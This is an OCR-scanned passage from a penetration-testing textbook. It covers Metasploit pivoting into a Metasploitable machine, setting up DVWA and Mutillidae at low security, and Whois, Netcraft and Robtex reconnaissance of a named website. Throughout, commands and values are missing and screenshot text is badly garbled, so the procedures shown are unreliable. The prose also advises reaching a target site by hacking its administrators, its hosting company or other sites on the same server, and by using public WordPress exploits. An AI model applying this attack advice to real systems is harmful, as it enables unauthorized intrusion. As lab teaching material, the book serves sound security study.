The one that we want to use now is

the ; set the first, by running what we've seen when we ran the
command. It was . Again, we're using the very simple commands that
we have already learned.

. We need to set the and

, and then set the to
We will set this machine), and the to number (that's the that we
hacked for the Windows

is the that the Windows machine is connected to, so it's . We will then
run , and this will create the connection (or the route) between our
device and the Windows device:

auloadd, print, delele, defaull)

trom hos outing tablc.
from hes outing table.

Now, we will go back to the same exploit that we tried at the start of
this section, and we will see that the exploit is going to work now,
because the Windows device is now visible to us. Instead of using the
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exploit, we can use the port scanners or discovery modules that
come pre-installed with Metasploit, or any other module that comes
with Metasploit. We now have a connection to the Windows
computer, and we have set up a route between that network and our
computer, so we can now see the Metasploitable device.

Now, we are going to use the same exploit that we used

before: . We will leave the options the same, because everything is
set up correctly. We will just run , and, as we can see in the following
screenshot, the command shell will start properly, and we will have
access to the Metasploitable device:

[+] St

[*] Commar 1211 session 2 opened (Local Pipe -> Remote Pipe)

We can run and to confirm the preceding, and we can see that we're
in the Metasploitable device and can run any Linux command that we
want; we can use ,

, or any other Linux command, as follows:
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3:58:00 UTC 2008 1686 GNU/Linux

Basically, we have full access to the target computer. As we
mentioned previously, we can upload a program and run it from the
target computer. However, it's not always a good idea to upload
things to a hacked computer setting up routes and using pivoting are
much safer choices.

It is highly recommended to take a look at other Metasploitable
modules, because Metasploit is very vast. It was difficult for me to
cover everything; | just covered the main points, but you can always
go in and take a look at other modules. Using the modules in practice
is usually the same as what we did here; we took a look at a broad
array of modules, so you should be able to configure options and run
modules however you like.
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Summary

In this chapter, we focused on post exploitation tasks, which involved
what can be done after we have broken into a target system. We
covered basic filesystem commands and illustrated how to access a
victim's machine, even if the user is not using a particular software or
has powered off the system. We implemented both simple and
advanced methods to maintain access to a system. Then, we looked
at how to obtain user credentials after performing a keylogging attack
on a target device. Later, we went over the concept of pivoting, which
means targeting a system that is not directly present on our network.
We even studied examples of pivoting autoroutes.

In the next few chapters, we will cover the fundamentals of website
penetration testing.
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17

Website Penetration Testing

This chapter focuses on the basics that we need to know before we
start with web application penetration testing. We will start by learning
what a website actually is, as well as giving an overview of the
processing that happens on the backend when we request access to
a website. Later, we will discuss ways to attack a website, and look at
a few tools.

The following topics will be covered in this chapter:
What is a website?
Attacking a website

What is a website?

Before we can start website penetration testing, we need to
understand what a website really is. A website is just an application
that is installed on a computer. The computer might have better
specifications than our computer, but fundamentally, it works just like
any other computer, which means that it has an operating system, as
well as a number of applications that allow it to act as a web server.
The two main applications that it has are a web server (for example,
Apache), and a database (for example, MySQL):

The web server basically understands and executes the web
application. Our web application can be written in PHP, Python, or
any other programming language. The only restriction is that the web
server needs to be able to understand and execute the web
application.

The database contains the data that is used by the web application.
All of this is stored on a computer called the server. The server is
connected to the internet and has an IP address; anybody can
access or ping it.
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The web application is executed either by the web server which is
installed on our server or on the target; therefore, any time we
request a page or run a web application, it's actually executed on the
web server and not on the client's computer. Once it is executed on
the web server, the web server sends an HTML page which is ready
to read to the target person or client, as shown in the following figure:

(o
L)

DNS SERVER
195.44.2.1 III FACEBOOK.COM
195.44.2.1 HTML
WEBSITE
2 5

Let's say, for example, that we are using a phone or a computer and
we want to access facebook.com. If we type facebook.com into our
URL, it will be translated to an IP address using a DNS server. A DNS
is a server that translates every name, , , or any website with a name
or a domain name to its relevant IP address. If we request
facebook.com, the request goes to a DNS server that then translates
facebook.com to the IP where Facebook is stored, and then the DNS
server will go to the IP address of Facebook, execute the page that
we wanted using all of the applications that we have spoken about,
and then just give us a ready HTML page.

Now, what we get back is just a markup written in HTML which is a
markup language of the result of executing the program; the program
gets executed on the server, and we just get the result. This is very
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important, because in the future, if we wanted to get anything
executed on the web server, such as a shell, or a virus to be
executed on the target computer, then we need to send itin a
language that the web server understands (for example, PHP), and
once we execute it inside the server, it will be executed on the target
computer.

This means that, regardless of the person that accesses the page,
the web shell that we are going to send (if it is written in PHP orin a
language that the server understands) will be executed on the server
and not on our computer. Therefore, it will give us access to the
server and not to the person who accessed that server. On the other
hand, some websites use JavaScript, which is a client-side language.
If we manage to find a website that allows you to run JavaScript
code, then the code will be executed by the clients. Even though the
code might be injected into the web server, it will be executed on the
client side, and it will allow us to perform attacks on the client
computer and not on the server. Hence, it's very important to
distinguish between a client-side language and a server-side
language.

Attacking a website

In this section, we will discuss attacking a website. We have two
approaches for attacking websites:

We can use the methods that we've learned so far about attacking a
website. Because we know a website is installed on a computer, we
can try to attack and hack it just like any another computer. We can
also try to use server-side attacks to see which web server, operating
system, or other applications are installed, and, if we find any
vulnerabilities, to see if we can use any of them to gain access to the
computer.

Another way to attack is to use client-side attacks. Because websites
are managed by humans, there must be humans managing and
maintaining these websites. This means that, if we manage to hack
any of the site's administrators, we will probably be able to get their
username and password, and from there log in to their admin panel
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or to the Secure Socket Shell (SSH). Then we will be able to access
any of the services that they use to manage the website.

If both of these methods fail, we can try to test the web application,
because it is just an application installed on that website. Therefore,
our target might not actually be the web application maybe our target
is just a person using that website, but whose computer is
inaccessible. Instead, we can go to the website, hack into the
website, and from there go to our target person.

All of these applications and devices are interconnected, and we can
use one of them to our advantage and then make our way to another
place or to another computer. In this section, we won't be focusing on
server and client-side attacks any further. Instead, we'll be learning
about testing the security of the web application itself.

Our target will be a Metasploitable machine, and if we run the
command on Metasploitable, we will see that its IP is , as shown in
the following screenshot:

sfadmin@metasploitable:™5 ifconfig
etho Link encap:Ethernet HUWaddr 08:00:27:5f 44:0c
inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
inett addr: feB0::a00:Z27ff :fe5f 440c-64 3cope:Link
UF BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
R¥ packets:815 errors:0 dropped:0 overruns:0 frame:0
TX packet=s:350 errors:0 dropped:0 overruns:0 carrier:0
collizsions:0 txqueuelen:1000
R¥ bytes:91391 (89.2 KB) TX bytes:42668 (41.6 KB)
Base address:0xd010 Memory:fo000000-fO0Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inete addr: ::1-128 Scope:Host

UPF LOOPBACK RUNHNING HMTU:16436 Hetric:1

R¥ packet=:988 errorz:0 dropped:0 overrunz:0 frame:0
TX packets:988 error=s:0 dropped:0 overruns:0 carrier:0
collizions:0 txqueuelen:0

R¥ byte=s:455381 (444.7 KB) TX bytes:455381 (444.7 KB)

If we look inside the folder, we'll see all the website files stored, as
shown in the following screenshot:

In the preceding screenshot, we can see that we have our page, and
we have , , and . If we go to the Kali machine, or to any machine on
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the same network, and try to open the browser and go to , we will see
that we

have a website made for Metasploitable, as shown in the following
screenshot. A website is

just an application installed on the web browser, and we can access
any of the

Metasploitable websites and use them to test their security:

Another thing to look at is the DVWA page. It requires a username
and a password to log in; the Username is and the Password is .
Once we enter these credentials, we can log in to it, as shown in the
following screenshot:

& @8 | 10,02 &chwallogin phy e ||a sear B8 + /& O =

[ Most Visited~ [l Offensive Security 8 Kali Linux ", Kali Docs ' Kali Tools = Exploit-DB Wi Aircrac k-ng ", Kali Forums s NetHunter S Kali Training @ Getting Started

—\

DVWA

Loggin

Once logged in, we can modify the security settings by using the
DVWA Security tab:
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Home | DVWA Security »

Instructions |
Setup | Script Security

Security Level is currently high.
Brute Force

You can set the security level to low, medium or high.

Command Execution |
" The sccurity level changes the vulncrability level of DVWA.

CSRF
high v || Submit
SQL Injection |
SQL Injection (Blind) | PHPIDS
Upload |
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS reflected |
You can enable PHPIDS across this site for the duration of your session.
XSS stored |
PHPIDS is currently disabled. [ ]
| I 11 ]
PHP Info |
About |
Logout !

Username: admin
Security Level: high
PHPIDS: disabled

Under the DVWA Security tab, we will set Script Security to low
DVWA Security »

Script Security
Security Level is currently high.
You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

| low v || sSubmit |

and click on Submit: ——————

We will keep it set to low in the upcoming sections. Because this is
just an introductory course, we'll only be talking about the basic ways
of discovering web application vulnerabilities in both DVWA and the
Mutillidae web application.
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If we go to the Mutillidae web application in the same way that we
accessed the DVWA web application, we should make sure that our
Security Level is set to 0, as shown in the following screenshot:

% Mutillidae: Born to be Hacked

Version: 2.1.19

OWASP Top 10 f

Resources }

©

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

Q

@webpwnized

™
&

Mutillidae
Channel

Hints: Disabled (0 - 1 try harder) Not Logged In

Home Login/Register Reset DB

Toggle Hints

loggle Security View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of
OWASP Top 10

Latest Version / Installation

= Latest Version

» Installation Instructions

» Usage Instructions

+ Getrid of those pesky PHP errors
+ Change Log

= Notes

Samurai WTF and Backtrack contains all the tools needed or you may build your own collection

——=

back|track ” ‘
Samural Web Testing Framework
'@"" " ol
MygSGo

We can toggle Security Level by clicking the Toggle Security option

on the page:
Version: 2.1.19

Security Level: 0 (Hosed)
Home Login/Register

Hints: Disabled (0 - | try harder)
Reset DB

Not Logged In

Toggle Hints

Toggle Security View Log View Captured Data

Summary

In this chapter, we learned about the concepts and methods that are
necessary to perform website penetration testing. We began by
learning about what a website is, and we gave a brief overview of
how backend processing takes place when we request a particular
website on our devices. Then we discussed the techniques that are
used to attack a website, as well as tools such as Metasploitable and

DVWA.
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In the next chapter, we will be focusing on information gathering and
analysis, and also how to use this information to exploit the target
system.

T.me/nettrain



18

Website Pentesting Information Gathering

In this chapter, we are going to focus on various techniques to gather
information about the client using the command, Netcraft, and
Robtex. Then, we will see how we can attack a server by targeting
websites that are hosted on that server. Moving toward the
information gathering section, we are going to learn about
subdomains and how they they can be useful for performing attacks.
Later, we are going to look for files on the target system to gather
some information and also analyze that data.

The following topics are covered in this chapter:

Information gathering
Website on the same server
Information gathering form target websites

Information gathering using tools

Now, as we saw in the previous chapter how gathering information
about the client will help us to launch attacks on victims, in this
section, we are going to be using commands such as Whois, and
tools such as Netcraft and Robtex to gather information from target
systems.

The Whois Lookup

The first thing we do before we start trying to exploit or find any
vulnerabilities is information gathering. Therefore, we try to gather as
much information as possible about the target, and web applications
are no different. We're going to start by trying to get as much
information as we can about the target IP address, the domain name
info, the technology that is used on the website, which programming
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language is used, what kind of server is installed on it, and what kind
of database is being used. We're going to gather information about
the company and its DNS records, and we'll also see if we can find
any files that are not listed, or any subdomains that are not visible to
other people. Now, we can use any of the information gathering tools
that we used before; for example, we can use Maltego and just insert
an entity as a website, and then start running actions. It's exactly the
same as we did with a normal person, in, Client Side Attacks - Social
Engineering. We can also use Nmap, or even Nexpose, and test the
infrastructure of the website and see what information we can gather
from that. Again, we won't be going over that because we've seen it
in previous chapters. There is no difference between a website or a
normal computer as we know, a website is just another computer. So,
what we are going to be focusing on are technologies that we will
only see on websites, such as domain names, DNS records, and stuff
like that, that we either won't be able to use or haven't seen before in
the previous chapters.

Now, the first thing that we're going to have a look at is Whois
Lookup. Whois Lookup is a protocol that's used to find the owners of
internet resources, for example, a server, an |IP address, or a domain.
So, we're not actually hacking; we're literally just retrieving info from a
database that contains information about owners of stuff on the
internet. So, for example, when we sign up for a domain name, if we
wanted to register a domain name, for example, za1d.com, when we
do that, we have to supply information about the person who is
signing in, the address, and then the domain name will be stored in
our name and people will see that Zaid owns the domain name. That
is all we're going to do.

If we google Whois Lookup, we will see a lot of websites providing the
service, so we Will use , searen

As we can see in the following screenshot, we get a lot of information
about our target website:
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= Domain Profile

Registrant Country US

Registrar

Registrar Status

Dates

MName Servers

Tech Contact
IP Address
IP Location

ASN

Domain Status
IP History

Hosting History

Go China Domains, LLC

JANA ID: 1149

URL: http:fwww_ gochinadomains.com
Whois Server: whois.godaddy.com

abuse@godaddy.com
ip) 14806242505

clientDeleteProhibited, clientRenewProhibited, clientTransferProhibited,
clientUpdateProhibited

2,826 days old

Created on 2010-10-20
Expires on 20138-10-20

Updated on 2017-09-16

NS69.DOMAINCONTROL.COM (has 50,039,241 domains)
NS70.DOMAINCONTROL.COM (has 50,039,241 domains)

50.63.202.32 - 411,498 other sites hosted on this server
- Arizona - Scottsdale - Godaddy.com Llc

B AS264%6 AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US (registered Oct 01,
2002)

Registered And Active Website
42 changes on 42 unique IP addresses over 12 years

18 changes on 11 unique name servers over 11 years

We can see the email address that we can use to contact the domain
name info. Usually, we will be able to see the address of the company
that has registered the domain name, but we can see that this
company is using privacy on their domain; but if they haven't, that is,
if they're not using privacy, we will be able to see their address and
more information about the actual company.

We can see when the domain name was created, and we can see the
IP Address. If we ping the IP, we should get the same IP address as
mentioned in the preceding screenshot. If we run , the same IP
address is returned:
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C:\Usersrping www.i1security.org

Pinging 1isecurity.org [90.63.202.32] with 32 byvtes of data:

Reply from 50.63.202.32: bytes=32 time=264ms TTL=53
Reply from 50.63.202.32: bytes=32 time=260ms TTL=53

We can see the IP Location, we can see the Domain Status, and
we can also access the History, but we need to register for that.
Now, again, we can use this information to find exploits.

In the following screenshot, in the Whois Record, we can find more
information about the company that registered this domain:

Whois Record { last updated on 20180716 )

Domain Mame: ISECURITY.ORG

Registry Domain ID: D168456846-LROR
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.gochinadomains.com
Updated Date: 2817-89-16T16:43:88Z

Creation Date: 2010-10-28T14:38:127

Registry Expiry Date: 2018-10-26T14:30:127

Registrar Registration Expiration Date:

Registrar: Go China Domains, LLC

Registrar IANA ID: 1149

Registrar Abuse Contact Emasil: abuse@godaddy.com

Registrar Abuse Contact Phone: +1.4886242585

Reseller

Domain Status: clientDeleteProhibited https:/ficann.org/epp#clientDeleteProhibited

Domain Status: clientRenewProhibited https: ann.org/eppi#clientRenewProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registrant Organization:

Registrant State/Province: Mew York

Registrant Country: US

Name Server: N569.DOMAINCONTROL.COM

Name Server: N578.DOMAINCONTROL.COM

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/

»>> Last update of WHOIS database: 2013-87-16T15:48:297 <<<

For more information on Whois status codes, please visit https://icann.org/epp

Access to Public Interest Registry WHOIS information is provided to assist pers
determining the contents of a domain name registration record in the Public Int
.
¥

registry database. The data in this record is provided by Public Interest Registry for
infermational purposes only, and Public Interest Registry does not guarantee its accuracy.
This service is intended only for query-based access. You agree that you will wse this data
only for lawful purposes and that, under no circumstances will you use this data to (a) allo

This is basic information, but it's very helpful in the long run, just to
know what our target is, what their IP is, and what services they are
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using. We can also see the name servers that are being used and we
can see which company they are provided by.

Netcraft

In this section, we are going to learn how to get information about the
technologies used by the target website. We're going to use a
website called Netcraft (

), and we're going to put the target address, select our target as , and
click on the arrow:

What's that site running?

Find out what technologies are powering
any website:

isecurlty.org

After, click on Site Report:

Results for isecurity.org

Found 3 sites

Site Site Report First seen Netblock 0s
1 = by.ong % pnl 2UUy ko hnux - c =ntos
cadmap g e y 2017 taloczan | finux - ¢ entos
ty.o % pril 2003 unknown ke n

COPYRIGHT & NETCRAFT LTD 2018. ALL RIGHTS RESERVED.

In the following screenshot, we can see some basic information, such
as the Site title, a Description, Keywords, and when the website
was created:
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= Background

Site title iSecurlty | s Sl oo pems Date first seen  April 2009

Site rank 180268 Primary Arabic
language

Description \J314,205\3030\2544,230\252\3114205\330\271 \1204271\130\261\330\250\331\212

4331\204\3311204\231\2071330\2471331\2031330261
\330\247\33112041230\243\330\256132112041330\247\3214202\331\212
\331\21042330\2561230\250\330\261\33012474330\241 \330,247\331\204\230\255\231)205\3301247\331\212}330"251
1331\212\330\26112331\2031331\221\330\262 }330\271\3311204\3311211 \331\2051331\201\331\2074331\2104331\205
\3301247\330\2562301252\3301\250\330\247\3301261
\330\247\331\2044230\247\330\256\3301252}330\261\33042471331,202 \331\210\230)254\330\257\331\212\330\257
\3301243\3304256\330\250\330\2471330\261 Y3304247\331\2044330\255\3311205\330%247\331\2121330\251
Keywords Not Present

Netcraft Risk 1/10 G
Rating [FAQ]

Scrolling down further, we can see the website itself, the Domain, the
IP address, and just as we saw in the previous section, the Domain
registrar, which is the company who registered the domain for
isecur1ty:

= Network

Site http://www.isecurlty.org Netblock Owner Digital Ccean, Inc.
Domain isecurity.org Nameserver nsl.digitalocean.com
IP address 46.101.29.109 DNS admin hostmaster@isecurlty.org
IPv6 address Not Present Reverse DNS umknown
Domain pir.org Nameserver whois.networksolutions.com
registrar organisation
Organisation Domain Protection Services, Inc., US Hosting DigitalOcean
company
Top Level Organization entities {.orag) DNS Security unknown
Domaln Extenslons

Hosting country UK

In the preceding screenshot, we would normally see information
about the organization, but here, we can't , because isecur1ty is using
privacy protection. Usually, we should be able to see such information
and even more.

In the preceding screenshot we can see that it's hosted in the UK, we
can see the Nameserver, which is , and again, if we just go to

, we will discover that this is a website for web hosting. Now, we know
this is a web hosting company, and in worst-case scenarios we can
use this or try to hack into itself to gain access to isecur1ty.
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Scrolling down further, we will see the Hosting History of the hosting
companies that isecur1ty used, and we can see that the latest one is

running on Linux with Apache, the same server that we saw in the

previous section, 2.2.31 with Unix mod_ssl and all the other add-

ons:

= Hosting History

Netblock owner

Digital Ocean, Inc.

LeaseWeb MNetherlands BV,

unknown

LeaseWeb Netherlands B.V.

unkiuwn

Leaseweb Netherlands B.V.

LeaseWeb Netherlands B.\.

unknown

Cloudflare, Inc. 101 Townsend Street San

Francisco CA US 94107

SoftLayer Technologies Inc. 1850 N Stemmons
Freeway Dallas TX US 75207

IP address

46.101.20.100

5.76.07.48

91.217.73.140

95.211.160.142

91.217.73.140

95.211.108.1/4

95.211.108.166

95.211.48.169

108.162.194.116

74.53.226.138

0s

Linux

Linux

Linux

Linux

Linux

Linux

Linux

Linux

unknown

Linux

Web server

Apachef2 2 15 Cent0S

Mpache/2.2.21 Unix mod_ssl/2.2.21 Open55L/1.0.1e-

fips mod_bwlimited/1.4 mod_fcgid/2.3.9

Apache/2.2.31 Unix mod_sslf2.2.31 OpenS5L/1.0.1e-

fips mod_bwlimited/1.4 mod_fcgidf2.3.9
Dimofinf Hosting

Dimoflinl Husling

Apache

Apache

Dimofinf Hosting

cloudflare-nginx

Apache

Last
seen
Refresh
7-Jul-
2018
18-May-
2017
4-Mov-
2015
24-Aug-
2015
28-Jul-
2015
13-May-
2015
18-Mar-
2015
25-May-
2014
15-Feb-
2013
25-Mar-
2012

Again, this is very important to find vulnerabilities and exploits on our
target computer: Scrolling down to Web Trackers, it will show us the
third-party resources or applications used on our target, so we can

see that our target uses Google, MaxCDN, and other Google
services. This could also help us to find or gain access to the target

computer:
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= Web Trackers

Web Trackers are third-party resources loaded onto 3 webpags. Trackable resources indude social sharing widgets, javascript files, and images.
These trackers can be used to monitor individual user behaviour across the web. Data derived from these trackers are primarily used for advertising
or analytics purposes.

9 known trackers were identified.
Companies Categories

@ Google (4) @ CDN (4)

@ MaxCDN (2) @ Widget (4)
@ AddThis (1) @ Analytics (1)
@ Amazon (1)

@ ShareThis (1)

Company A Primary Category Tracker Popular Sites with this Tracker
AddThis & Widget Addthis www. zougla.gr, www.comss.ru, www.traffboost.net
Amazon 7 CDN amazons3 www,dailykos.com, www.barchart.com, www.adelaidenow.com.au
Guogle & Analylics Gouyle Analylivs wwiw, Lumbli.com, wewaneleol ance.com, www.chip.de
CDN Googlecdn www, voirfilms.ws, video.foxnews.com, lastpass.com
Widget Googleplus www. dell.com, www.heise.de, www.cnn.com
Googlewidget www.businessinsider.com, www.owasp.org, www.foxnews.com
MaxCDN 7 CDN Bootstrapcdn www.onlinevideoconverter.com, www.cybrary.it, www.zerohedge.com
Maxcdn www.linuxquestions.org, www.dhnet.be, www.lavanguardia.com
ShareThis 7 Widget ShareThis www.liveleak.com, www.mcafee.com, www.newser.com

The Technology tab is one of the most important tabs or sections in
here, because it shows us the technologies used on the target
website:
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Site Technology Fatchad an 1st July

Application Servers

An application server is & server that provides software applications with services such as security, data services, transaction support, load balancing, and mansgement of large distributed systems.

Technolugy Description Popular siles using this technulogy

Cent05 & No description vi.imagebam.com, wwnws3blog.org,
v thumrks com

Apache 7 ‘web server software L esschau.de, wvnw.majorgeeks.com,
wivivi,businessinsider.com

Server-Side

Inchudes all the main technclogies that Netcraft detects as running on the server such as PHR.

Technology Description Popular sites using this technology

PHP 2 PHP iz supgerted and/er running vivvnlequips.fr, v leparisiendr, wonavsirfilms.s

XML o description wivavisrepubblica.i videos.com, wnwheise.de

ssL& 4 cryptagraphic proteccl providing communization sesurity svar the Intarnat Euitt

kayakoreport.hostasaurus, n

PHP Enabled & Server supports PHP wivrvi,barchart.com, wwnw.bom.gov.au, php.net
Client-Side
Inchudes all the main technclogies that run on the browser (such as JavaSeript and Adobe Flash).
Technology Description Popular sites using this technology
Asynchronous Javascript o description WiV EEPN.COM, YW.yahoo.com, go.microsoft.com
JavaScript &? Widely-supported programming language commonty used to power client-side dynamic content on

wiobsites

Chent-5ide Scnipting Frameworks

Framewrorks or fibraries allow for sasier development of apglications by providing an Applicatien Pregram Interface (APL) or a methodolegy te follow whilst developing.

Technology Description Popular sites using this technology

jQuery A JavaScript library used to simplify the client-side scripting of HTML wonvi shotr
Coogla Hosted Librarias 7 Goegls ADI te retriave JavaScript librarias a.com, wuagoogha.it
ront Awesome Web Fonts F Ne descriptron VoM, wiivi.zerchedge.com,
Bootstrap Javascript Library Mo description it, voenwanetflisaeom, wvnw Ol net.com

We can see in the preceding screenshot it's using the Apache web
server, and on the ServerSide, we can see that the website uses
PHP, which means the website can understand and run PHP code.
This is very important because, in the future, if we manage to run any
kind of code on our target, then we know the code should be sent as
PHP code. To create payloads on Metasploit or on Veil-Evasion, we
should create them in PHP format and the target website will be able
to run them because it supports PHP. On the Client-Side, we can see
in the preceding screenshot that the website supports JavaScript, so
if we run JavaScript, or if we manage to run JavaScript code on the
website, it won't be executed on the website; it will be executed on
the users side who are viewing the website, because JavaScript is a
client-side language and PHP is server-side. If we manage to run
PHP code, it will be executed on the server itself. If we manage to run
JavaScript, it will be executed on the users or the peoples machine
who visit the website. It's the same with jQuery. This is just a
framework for JavaScript.

Scrolling down, we can see in the following screenshot that the
website uses WordPress Self-Hosted software. This is very
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important. Netcraft will also show any web applications being used on
the website:

Blog
Blog software is software designed to simplify creating and maintaining weblogs. They are specialized content management systems that support the
authuring, editing, and publishing of bloy pusls and conmmernlis.

Technology Description Popular sites using this technology
WordPress Self-Hosted &7 Free and open source blogging tool and 3 content management system  blogs.technet. microsoft.com,
(CMS) based on PHP and MySQL (hosted independantly) wordprecs.com, cellercantral-

europe.amazon.com

Content Delivery Network
A content delivery network or content distribution network {CDM) is a large distributed system of servers deployed in multiple data centers in the
Internet. The goal of a CON is to serve content to end-users with high availability and high performance.

Technology Description Popular sites using this technology

Gongla Hosted I ihraries  Gangle APT tn refrieve TavaScript lihraries www._metenfrance. com,
www.commentcamarche.net,
www.ilfattoquotidiano.it

PHP Application
PHP is an open source server-side scripting language designed for Web development to produce dynamic Web pages.

Tachnology Daccription Popular citec ucing thic tachnology

WordPress & Free and open source blogging tool and a content management system  www.news.com.au, www.cybrary.it.
(CMS) based on PHP and MySQL imagesrv.adition.com

RSS Feed

RSS Rich Site Summary ic a family of web feed formats used to publich frequently updated works such as blog entries, news headlines, audio, and
video in a standardized format.

Technology Description Popular sites using this technology

RSS & Standardized web feed format used to publish frequently updated works www.dailykos.com, www.elmundo.es,
WWW.Mmarca.com

WordPress is just a web application, so we could see other examples
in our case, and it's an open source web application, there are a lot of
other websites might have. The good thing is we can go and find
exploits or vulnerabilities within the web application. If we are lucky
enough to find an existing one, then we can go ahead and exploit it
on the target website. For example, we have WordPress in our
example, so if we go to

and search for WordPress, we'll manage to find lot of exploits related
to WordPress.

There are different versions of WordPress. We need to make sure
that we have the same version as our target. We'll look at examples
to see how to use exploits, but it just shows how powerful information
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gathering is. Scrolling further, we can also find other information, such
as that the website uses HTMLS and CSS, and all that kind of stuff:

Doctype

A Document Type Declaration, or DOCTYPE, is an instruction that associates a particular SGML or XML document (for example, a
webpage) with a Document 1ype Definition (L |D).

Technology Description Popular sites using this technology
HTML5 & Latest revision of the HTML standard, the main markup language  www.google.com, www.facebook.com,
on the web coinmarketcap.com
CSS Usage

Cascading Style Sheets (CSS) is a style sheet language used for describing the presentation semantics (the look and formatting) of a
document written in a markup language (such as XHTML}.

Technology Description Popular sites using this technology

External & Styles defined within an external CSS file www.amazon.com, www.bbc.co.uk,
www.bbc.com

CSS Media Query Na description www.microsoft.com,
www.googleadservices.com,
www dailymail.co_uk

Fmhedded i@ Styles defined within 2 wehpage www _cisco.com, www spiegel_de,
webshell suite.office.com

Hence, Netcraft is really useful for getting to know the website. We
gathered information regarding the site that it runs on PHP, and runs
JavaScript. It uses WordPress, so we can use WordPress to hack
into the website, and if we scroll up, we also discovered the web
hosting of the website. Therefore, in worst-case scenarios, we can try
to hack into a web hosting server and gain access to our target
website.

Robtex

In this section, we'll learn how we can get comprehensive DNS
information about the target website. Just to give a quick review on
what DNS is, when we type FACEBOOK.COM, a DNS SERVER will
convert the name into an IP address. The DNS SERVER contains a
number of records, each pointing to a different domain or to a
different IP. Sometimes, they point to the same IP, but in general, they
request the domain name, it gets converted into an IP address, and,
depending on the address, the information needs to be stored
somewhere. We're going to query the DNS SERVER and see what
information we can get through it. The process is illustrated in the
following diagram:
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DNS SERVER
195.44.2.1 I I FACEBOOK.COM
195.44.2.1 HTML
WEBSITE
e B

We're going to be using a website called Robtex ( ), searching . Next,
just click on GO and select the first result on the website. Now, we
can see here that this report contains a lot of information, but we
have a nice little index that will help us navigate through it. A lot of
this information is a little bit advanced, so we will be skipping through
a lot of it because we want to keep this as basic as possible. Web
penetration testing is a vast topic in itself. Hence, we're going to keep
this a little bit basic, and we'll see what information we can see in the
following screenshot:
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isecurity.org quick info
General

FQDN isecurity.org

Host Name

Domain Name isecurlty.org

Registry org

TLD org

DNS

IP numbers 46.101.29.109

Name servers ns1.digitalocean.com
nsZ.digitalocean.com
ns3.digitalocean.com

Mail servers aspmx.{.google.cam
altl.aspmx.l.google. com
alt2.aspmx.l.google.com
alt3.aspmx.l.google.com
altd.aspmx.l.google.com

Firstly, we get information about the website. We can see the DNS
records, we can see the Name servers that have been used, and we
can see some Mail servers. We can also see the RECORDS that we
were talking about and the DNS server:
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RECORDS

isecurity.org
a 46.101.29.109
whois business xDSL last miles w/ managed CPE various tech. centers
route 46.101.0.0/18
bop AS14061
asname DOSFO DigitalOcean SF Region
descr Komlnvest route
location London, United Kingdom
ns nsi.digitalocean.com
& 2400:cb00:2049:1::adf5:3a33
route 2400:cb00:2049::/48
bep AS13335

Here, we can see all of these records. We can see the a record, the
one that converts a domain name to an IP address, and if we
remember, when we were performing DNS spoofing, we added an
record in our and files. The a record is actually what's used in the
DNS servers to link isecur1ty.org to its IP address, but again, there
is another type of record; for example, we have the ns record, which
links the domain, the name server. We can also see the mx record in
the following screenshot, which links it to the mail server, and we can
see that the website uses a Google mail server, so it's probably using
Gmail to provide mail services:

mx gspmx.[l.google.com

a 2404:6800:4003:c03::1a
route 2404:6800:4003::/48

bop A51516%

descr Google

location Singapore, Singapore

2404:6800:4008:c00::1b
route 2404:6800:4008:: /48

bogp A51516%

Scrolling further, we have a graph of how all of the services interact
with each other, how the services use the records, and how they are
translated into IP addresses:
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In the Shared tab, we will see if any of these resources are being
shared:

Iisecurl ty.com
’Elsk.lsecurl ty.org

results shown.

|www.isecur1 ty.org

2400:cb00:2049:1::adf5:3a33

2400:cb00:2049:

2400:cb00:2049:1::c629:dead
172.245.58.51
173 245 50.41
198.41.222.173

ii rasults shown.

results shown.

aspmx.l.google.com securilyl.com.au 2607:/8b0:4001:c1d::1a ins or hostnames one step under this domain or hostname.
altl.aspmx.l.google.com il results shown. 2607:f6b0:4003:09:: 13 ask.isecurlty.org
alt2.aspmx.l.google.com 2607:f0b0:400d:c03::1b rozdmap.isecurlty.org
alt3.aspmx.l.google.com 2a00:1450:400b:000:: 12 server.isecurlty.org
alt4.aspmx.l.google.com 2a00:1450:4013:c02::1a www.isecurlty.org
5 results chown. 64.233.188.20 results shown. |

74.125.130.27

74.125.195.26

173.194.218.27

209.85.232.27

10 results shown.
E’Mﬁq;ir@dﬂnﬂiﬂwhﬂslﬂmﬂoﬂlh!samei!vel,Mr&emwmllﬂd.i{elmﬁl\;mﬂ{eﬂiﬂwbﬂwm}v -mssubmlbnmﬁvknmmulhfbupleveldumim. j
1security.org isecurlty.com [
securityl.org isecurlty.net
12 results shown. ' isecurity.110mb.com

4{

isecurlty.us?. list-manage.com
‘4 results chown.

We can also see that it's using three Name servers. We can see the
Mail servers, and we can also see a number of websites pointing to
the same IP address, and a number of domain names, pointing to the
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same IP address. Therefore, the preceding websites are stored on
the same web server. Now, again, there is more information about the
name servers and websites that are Sharing mail servers. It doesn't
mean that these websites are on the same server, but the most
important thing is that we have the websites pointing to the same IP,
which means that these websites exist on the same server. Now, if
you gain access to any of the websites mentioned, it will be very easy
to gain access to .

Websites on the same server

Websites are installed on web servers on normal computers, as we
said before. These normal computers have IP addresses and, using
the IP address, we can access our target website. Now, in many
scenarios, our target website, or our target server, will contain a large
number of websites, hence it'll have the website that we are targeting,
but it will also contain other websites on the same server, hence on
the same filesystem. For example, if we could not find any
vulnerabilities in our target website, we can still try to hack into any
other website that is installed on the same server. If we can do that,
then we will be able to gain access to the server. Gaining access to
the server basically means that we have access to all the other
websites, because the server is just a computer, and we can navigate
to the website that we want to hack and gain access to that website.
Suppose we are trying to hack into a website and we can't find an
exploit, then the next step will be trying to hack any other website that
existing on the same server. Hence, what we mean by exist on the
same server is they have the same IP address.

Information gathering from target websites

So far, we have just been using commands and tools to gather
